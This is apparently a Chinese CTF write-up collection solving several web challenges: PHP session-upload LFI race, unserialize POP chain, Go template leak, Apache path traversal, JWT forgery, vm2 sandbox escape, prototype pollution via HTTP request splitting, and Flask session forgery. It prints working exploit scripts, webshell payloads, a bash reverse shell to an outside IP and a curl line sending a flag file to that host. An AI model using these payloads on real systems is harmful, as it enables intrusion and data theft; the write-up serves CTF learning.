于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名

image-20240721135246993

利用该漏洞点需要满足

目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID

注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。

image-20240721135511825

php session.upload_progress通用利用脚本

import requests
from re import findall as re_findall
from base64 import b64encode
from threading import Thread

HOST = 'http://node4.anna.nssctf.cn:28463/'
PHPINFO_URL = HOST + 'phpinfo.php'
LFI_URL = HOST + 'index.php'
WEB_SHELL = b'<?php eval($_POST[cmd]);?>'


session_configures = {}
resp_text = re_findall('<td class="e">session\.(.*?)</td><td class="v">(.*?)</td>', requests.get(PHPINFO_URL).text)
list(map(lambda x : session_configures.update({x[0] : x[1]}), resp_text))
if session_configures['upload_progress.enabled'] != 'On':
    print('[-] Target is not vulnerable')
    exit(-1)

success = False

def request_phpinfo():
    exploit = f"<?php file_put_contents('/tmp/.shell.php', base64_decode('{b64encode(WEB_SHELL).decode()}')); echo md5('ccc');?>"
    data = {session_configures['upload_progress.name'] : exploit}
    cookies = {'PHPSESSID' : 'c'}
    files = {'files' : ('hello.txt', b'A' * 1024 * 1024)}
    while not success:
        requests.post(PHPINFO_URL, data=data, cookies=cookies, files=files)

def request_sess_file():
    global success
    data = {'file' : session_configures['save_path'] + '/sess_c'}
    while not success:
        resp = requests.get(LFI_URL, params=data)
        if '9df62e693988eb4e1e1444ece0578579' in resp.text:
            print('[+] The webshell was successfully written to /tmp/.shell.php')
            success = True

Thread(target=request_phpinfo).start()
Thread(target=request_sess_file).start()

修改一下

import io
import requests
import threading
from cffi.backend_ctypes import xrange

sessid = '0'
target = 'http://node4.anna.nssctf.cn:28463/'
file = 'ph0ebus.txt'
f = io.BytesIO(b'a' * 1024 * 50)


def write(session):
    while True:
        session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
                     files={'file': (file, f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(
            f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
        if file in resp.text:
            print(resp.text)
            event.clear()
        else:
            print("[+]retry")
            # print(resp.text)


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in xrange(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in xrange(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

image-20240721140632112

[FSCTF 2023]ez_php2

源码

<?php
highlight_file(__file__);
Class Rd{
    public $ending;
    public $cl;

    public $poc;
    public function __destruct()
    {
        echo "All matters have concluded";
        die($this->ending);
    }
    public function __call($name, $arg)
    {
        foreach ($arg as $key =>$value)
        {

            if($arg[0]['POC']=="1111")
            {
                echo "1";
                $this->cl->var1 = "system";
            }
        }
    }
}


class Poc{
    public $payload;

    public $fun;

    public function __set($name, $value)
    {
        $this->payload = $name;
        $this->fun = $value;
    }

    function getflag($paylaod)
    {
        echo "Have you genuinely accomplished what you set out to do?";
        file_get_contents($paylaod);
    }
}

class Er{
    public $symbol;
    public $Flag;

    public function __construct()
    {
        $this->symbol = True;
    }

    public function __set($name, $value)
    {
        $value($this->Flag);
    }


}

class Ha{
    public $start;
    public $start1;
    public $start2;
    public function __construct()
    {
        echo $this->start1."__construct"."</br>";
    }

    public function __destruct()
    {
        if($this->start2==="11111") {
            $this->start1->Love($this->start);
            echo "You are Good!";
        }
    }
}


if(isset($_GET['Ha_rde_r']))
{
    unserialize($_GET['Ha_rde_r']);
} else{
    die("You are Silly goose!");
}
?> 

EXP

<?php
class Rd{
    public $ending;
    public $cl;
    public $poc;
}
class Poc{
    public $payload = ['POC'=>'1111'];
    public $fun;
}
class Er{
    public $symbol;
    public $Flag;
}
class Ha{
    public $start;
    public $start1;
    public $start2;
}
$a = new Ha;
$b = new Poc;
$c = new Er;
$d = new Rd;


$a->start2 = "11111";
$a->start1 = $d;
$a->start = $b->payload;
$d->cl = $c;
$c->Flag = 'cat /flag';
echo serialize($a);

payload

O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}

image-20240721172553666

[SCTF 2021]loginme

I don’t know the age of the admin, can you tell me?By the way, admin’s Password maybe the thing you want

image-20240721173419307

xff,X-Clien-IP,X-Real-IP,x-remote-ip都代表本地,最后X-Real-IP成功进入

image-20240721173819147

然后分析源码

关键代码

image-20240721174231082

middleware

image-20240721174020113

成功进入后跳转跳到route.Login

image-20240721174402402

首先获取id,没有的话默认为1,然后将字符串形式的id转换为整数,如果转换失败,则id将被设置为1

structs.Users列表中查找与id匹配的用户,如果没有找到匹配项,则使用structs.Admin作为默认用户。

检查用户的年龄字段,如果为空,则从查询参数中获取age,如果仍然没有则使用默认值forever 18 (Tell me the age)

这里定义了一个结构体

image-20240721175148767

然后有一个模板渲染

tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露

image-20240721175528022

而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

在这里插入图片描述

证实推断

image-20240721175641016

image-20240721175700694

[NSSRound#4 SWPU]ez_rce

啥也没有,抓包后发现apache版本为2.4.49 (Unix)

CVE-2021-41773(42013) Apache HTTP Server路径穿越漏洞复现_cve-2021-41773复现-CSDN博客

image-20240721180247059

同时dirsearch也有提示

image-20240721181126194

抓包修改

image-20240721181417264

直接访问看不了,最后在run.sh中看到flag的真实位置

image-20240721181459887

image-20240721181546704

[WUSTCTF 2020]CV Maker

随意注册一个账号登录

image-20240721182144867

文件上传

image-20240721183527789

image-20240721183044880

image-20240721183555041

flag在环境变量中

image-20240721183655428

[NSSRound#1 Basic]basic_check

PUT方法创建木马

image-20240721184733912

image-20240721184920543

[MoeCTF 2021]地狱通讯-改

直接给源码

from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)

@app.route("/", methods=['GET', 'POST'])
def index():
    with open("app.py", "r") as f:
        ctx = f.read()
    res = make_response(ctx)
    name = request.args.get('name', '')
    if 'admin' in name or name == '':
        return res
    payload = {
        "name": name,
    }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res

@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag', '')
        message = "Hello {0}, your flag is {1}".format(user, flag)
        return message
    else:
        return render_template('flag.html', name=name)

if __name__ == "__main__":
    app.run()

大致看一眼,刚学的jwt伪造

  1. index 路由:这个路由处理根路径 “/” 的请求,支持 GET 和 POST 方法。首先,它读取文件 “app.py” 的内容并将其作为响应返回。然后,从请求参数中获取名为 “name” 的值,如果该值包含 “admin” 或者为空字符串,将返回之前读取的 “app.py” 内容作为响应。否则,将使用提供的 “name” 构造一个 JWT 载荷(payload),然后使用指定的密钥 secret 和头部 headers 生成 JWT,将生成的 JWT 放入 cookie 中,最后将 “app.py” 内容作为响应返回。
  2. hello 路由:这个路由处理 “/hello” 路径的请求,同样支持 GET 和 POST 方法。首先,它尝试从请求的 cookie 中获取名为 “token” 的 JWT。如果没有找到 token,将重定向到根路径 “/”. 如果找到 token,则尝试解码 JWT 并从中提取 “name” 字段的值。如果 JWT 验证失败(可能是因为签名不匹配),返回 “Invalid token”。
  3. 如果 “name” 字段不是 “admin”,则创建一个 User 实例,然后从请求参数中获取名为 “flag” 的值(如果存在)。接下来,根据用户的信息构造一条欢迎消息,将 flag 值嵌入消息中,然后将这个消息作为响应返回。
  4. 如果 “name” 字段是 “admin”,则渲染一个名为 “flag.html” 的模板,并传递 “name” 作为参数。

这里需要两个条件,secret和headers

用ssti漏洞带出这两个条件

创建一个用户

image-20240721192742870

得到对应的jwt的值

token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMTIzIn0.pEkv9ha7ygfhxZay1tBtb48vjBzAW05Rw4-azvvefGA

拉出来看一下具体内容

带着token去访问

image-20240721192942764

尝试ssti

{0.__class__.__init__.__globals__}

image-20240721193627529

secret: u_have_kn0w_what_f0rmat_i5

headers: {‘alg’: ‘HS256’, ‘typ’: ‘JWT’}

验证成功

image-20240721193726623

将用户改为admin

image-20240721193809514

将伪造好的jwt放入token重新发包访问hello路由得到flag

image-20240721193908109

[HZNUCTF 2023 final]eznode

Nodejs vm/vm2沙箱逃逸_nodejs vm2-CSDN博客

vm沙箱逃逸初探 | XiLitter

image-20240722085351426

提示尝试查看源码,最直观的就是node.js配置错误造成的源码泄露了,直接访问app.js获得页面源码

const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    try {
        new VM().run({}.shellcode);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}


app.get('/', function (req, res) {
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    try {
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

学习一下相关知识

内置模块的函数

  1. require()

    const express = require('express');
    

    require()函数用于加载Node.js模块或文件。例如,require('express')加载了Express框架,使你能够使用其提供的功能。

  2. console.log()

    console.log(req.body);
    console.log(e);
    

    console.log()是Node.js中用于在控制台输出信息的函数,它通常用于调试目的。

  3. JSON.parse()JSON.stringify()

    var body = JSON.parse(JSON.stringify(req.body));
    

    JSON.parse()用于将JSON格式的字符串转换成JavaScript对象,而JSON.stringify()则将JavaScript对象转换成JSON字符串。在上面的例子中,JSON.stringify(req.body)将请求体转换成字符串,然后JSON.parse()又将其转换回对象,但这实际上是不必要的,因为req.body已经是一个对象。

  4. app.listen()

    app.listen(3000, function () {
        console.log('start listening on port 3000');
    });
    

    app.listen()是Express框架中的方法,用于启动HTTP服务器并监听特定的端口。在这个例子中,服务器将在3000端口上监听。

Express框架相关的函数

  1. app.use()

    app.use(express.json());
    

    app.use()是Express的中间件注册函数。在这个例子中,它注册了一个JSON解析中间件,使得服务器能够解析JSON格式的POST请求体。

  2. app.get()app.post()

    app.get('/', function (req, res) {});
    app.post('/', function (req, res) {});
    

    这些方法用于定义路由处理函数。app.get()定义了处理GET请求的路由,app.post()定义了处理POST请求的路由。req参数是请求对象,包含了客户端发送的所有信息;res参数是响应对象,用于向客户端发送数据。

自定义函数

  1. backdoor()

    const backdoor = function () {};
    

    这个函数尝试在一个沙箱环境中运行潜在的恶意代码,这是一个非常危险的操作,因为它可能允许远程代码执行。

  2. isObject()

    const isObject = obj => obj && obj.constructor && obj.constructor === Object;
    

    这个函数用于检查一个变量是否是普通的JavaScript对象。

  3. merge()

    const merge = (a, b) => {};
    

    这个函数用于合并两个对象,如果对象中有嵌套的对象,它会递归地进行合并。

  4. clone()

    const clone = (a) => {};
    

    这个函数用于创建一个对象的深拷贝,使用merge()函数实现。

传入一个json数据,经过json.parse函数解析,再通过clone()函数复制到copybody中

image-20240722090830557

vm2会执行shellcode属性里面的内容,我们需要将该属性污染成vm2沙箱逃逸的payload即可执行命令,exp

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}
(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()
(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

没有回显,反斜杠转义,bash里面单引号不行就换双引号

{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/101.37.27.18/4444 0>&1\"').toString();"}}

image-20240722092054164

image-20240722092115217

[西湖论剑 2022]real_ez_node

image-20240722093816221

app.js

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var fs = require('fs');
const lodash = require('lodash')
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var session = require('express-session');
var index = require('./routes/index');
var bodyParser = require('body-parser');//解析,用req.body获取post参数
var app = express();
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({extended: false}));
app.use(cookieParser());
app.use(session({
  secret : 'secret', // 对session id 相关的cookie 进行签名
  resave : true,
  saveUninitialized: false, // 是否保存未初始化的会话
  cookie : {
    maxAge : 1000 * 60 * 3, // 设置 session 的有效时间,单位毫秒
  },
}));
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
// app.engine('ejs', function (filePath, options, callback) {    // 设置使用 ejs 模板引擎 
//   fs.readFile(filePath, (err, content) => {
//       if (err) return callback(new Error(err))
//       let compiled = lodash.template(content)    // 使用 lodash.template 创建一个预编译模板方法供后面使用
//       let rendered = compiled()

//       return callback(null, rendered)
//   })
// });
app.use(logger('dev'));
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', index);
// app.use('/challenge7', challenge7);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});

// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};

  // render the error page
  res.status(err.status || 500);
  res.render('error');
});

module.exports = app;

index.js

var express = require('express');
var http = require('http');
var router = express.Router();
const safeobj = require('safe-obj');
router.get('/',(req,res)=>{
  if (req.query.q) {
    console.log('get q');
  }
  res.render('index');
})
router.post('/copy',(req,res)=>{
  res.setHeader('Content-type','text/html;charset=utf-8')
  var ip = req.connection.remoteAddress;
  console.log(ip);
  var obj = {
      msg: '',
  }
  if (!ip.includes('127.0.0.1')) {
      obj.msg="only for admin"
      res.send(JSON.stringify(obj));
      return 
  }
  let user = {};
  for (let index in req.body) {
      if(!index.includes("__proto__")){
          safeobj.expand(user, index, req.body[index])
      }
    }
  res.render('index');
})

router.get('/curl', function(req, res) {
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:3000/?q=' + q
            try {
                http.get(url,(res1)=>{
                    const { statusCode } = res1;
                    const contentType = res1.headers['content-type'];
                  
                    let error;
                    // 任何 2xx 状态码都表示成功响应,但这里只检查 200。
                    if (statusCode !== 200) {
                      error = new Error('Request Failed.\n' +
                                        `Status Code: ${statusCode}`);
                    }
                    if (error) {
                      console.error(error.message);
                      // 消费响应数据以释放内存
                      res1.resume();
                      return;
                    }
                  
                    res1.setEncoding('utf8');
                    let rawData = '';
                    res1.on('data', (chunk) => { rawData += chunk;
                    res.end('request success') });
                    res1.on('end', () => {
                      try {
                        const parsedData = JSON.parse(rawData);
                        res.end(parsedData+'');
                      } catch (e) {
                        res.end(e.message+'');
                      }
                    });
                  }).on('error', (e) => {
                    res.end(`Got error: ${e.message}`);
                  })
                res.end('ok');
            } catch (error) {
                res.end(error+'');
            }
    } else {
        res.send("search param 'q' missing!");
    }
})
module.exports = router;

猜测是原型链污染,__proto__被过滤,使用constructor.prototype

image-20240722094915229

访问/copy的ip被限制,通过访问/curl利用HTTP走私向/copy发送POST请求,然后污染原型链实现代码执行。curl路由只有q参数可控

{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync('whoami').toString();"}}

POST道

import urllib.parse
import requests

payload = ''' HTTP/1.1

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Connection: close
Content-Length: 155

{"constructor.prototype.outputFunctionName":"x;global.process.mainModule.require('child_process').exec('curl 101.37.27.18:4444/`cat /flag.txt`');var x"}
'''.replace("\n", "\r\n")


def encode(data):
    tmp = u""
    for i in data:
        tmp += chr(0x0100 + ord(i))
    return tmp


payload = encode(payload)
print(payload)

r = requests.get('http://node4.anna.nssctf.cn:28807/curl?q=' + urllib.parse.quote(payload))
print(r.text)

image-20240722100733444

[GFCTF 2021]ez_calc

题目提示

1.别想太复杂,试着传传其他数据类型
2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。

image-20240722101425663

小写得是admin大写得是ADMIN。考点是toUpperCase函数进行大写转换的时候存在漏洞,也就是字符ı会变成I
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == ‘I’,“ſ”.toUpperCase() == ‘S’。通过这个小特性可以绕过一些限制
同样的"K"的“小写”字符是k,也就是"K".toLowerCase() == ‘k’.

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

admın/admin123

成功对接

image-20240722101811761

源码在f12中可以看到

let calc = req.body.calc;
let flag = false;
//waf
for (let i = 0; i < calc.length; i++) {
    if (flag || "/(flc'\".".split``.some(v => v == calc[i])) {
        flag = true;
        calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length);
    }
}
//截取
calc = calc.substring(0, 64);
//去空
calc = calc.replace(/\s+/g, "");

calc = calc.replace(/\\/g, "\\\\");

//小明的同学过滤了一些比较危险的东西
while (calc.indexOf("sh") > -1) {
    calc = calc.replace("sh", "");
}
while (calc.indexOf("ln") > -1) {
    calc = calc.replace("ln", "");
}
while (calc.indexOf("fs") > -1) {
    calc = calc.replace("fs", "");
}
while (calc.indexOf("x") > -1) {
    calc = calc.replace("x", "");
}

try {
    result = eval(calc);

}

eval(calc)产生命令执行

但是slice是从第四的元素开始替换,存在逻辑问题,可以逃逸前四个字符(任意值),会发现可以绕过这个判断实现逃逸

禁止了 x 不能有exec

require("child_process").spawn('sleep', ['3']);
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

image-20240722103234648

尝试读取文件,没有回显

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

写入静态文件读取

calc[]=Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.

[HDCTF 2023]YamiYami

三个按钮,一个个来

image-20240722190813787

读取,php伪协议直接读,读flga和app.py时有过滤

image-20240722190752517

image-20240722190930204

读取环境变量

http://node4.anna.nssctf.cn:28745/read?url=file:///proc/1/environ

image-20240722191042710

无疑是非预期解,这里要获取源码

urllib.request.urlopen可以直接接受urlencode的路径, 但是读本地文件时最前面的/要保留, 不能编码为%2F

因此,我们需要对/app/app.py进行二次编码,第一个/不能编码

得到

/%25%36%31%25%37%30%25%37%30%25%32%46%25%36%31%25%37%30%25%37%30%25%32%45%25%37%30%25%37%39

image-20240722191557128

访问后得到源码

image-20240722191619330

然后就是熟悉的session伪造

首先找到secret生成方式

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)

读mac

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

image-20240722192346256

生成secret

import random

if __name__ == '__main__':
    random.seed(0x0242ac02a812)
    print(str(random.random() * 233))
207.12851557558668

image-20240722193916810

python flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "62.6539852098"

image-20240722194312461

image-20240722195318126

image-20240722194615829

上传后通过/boogipop路由去访问响应文件即可

http://node4.anna.nssctf.cn:28540/boogipop?file=uploads/1.txt

image-20240722200622404

;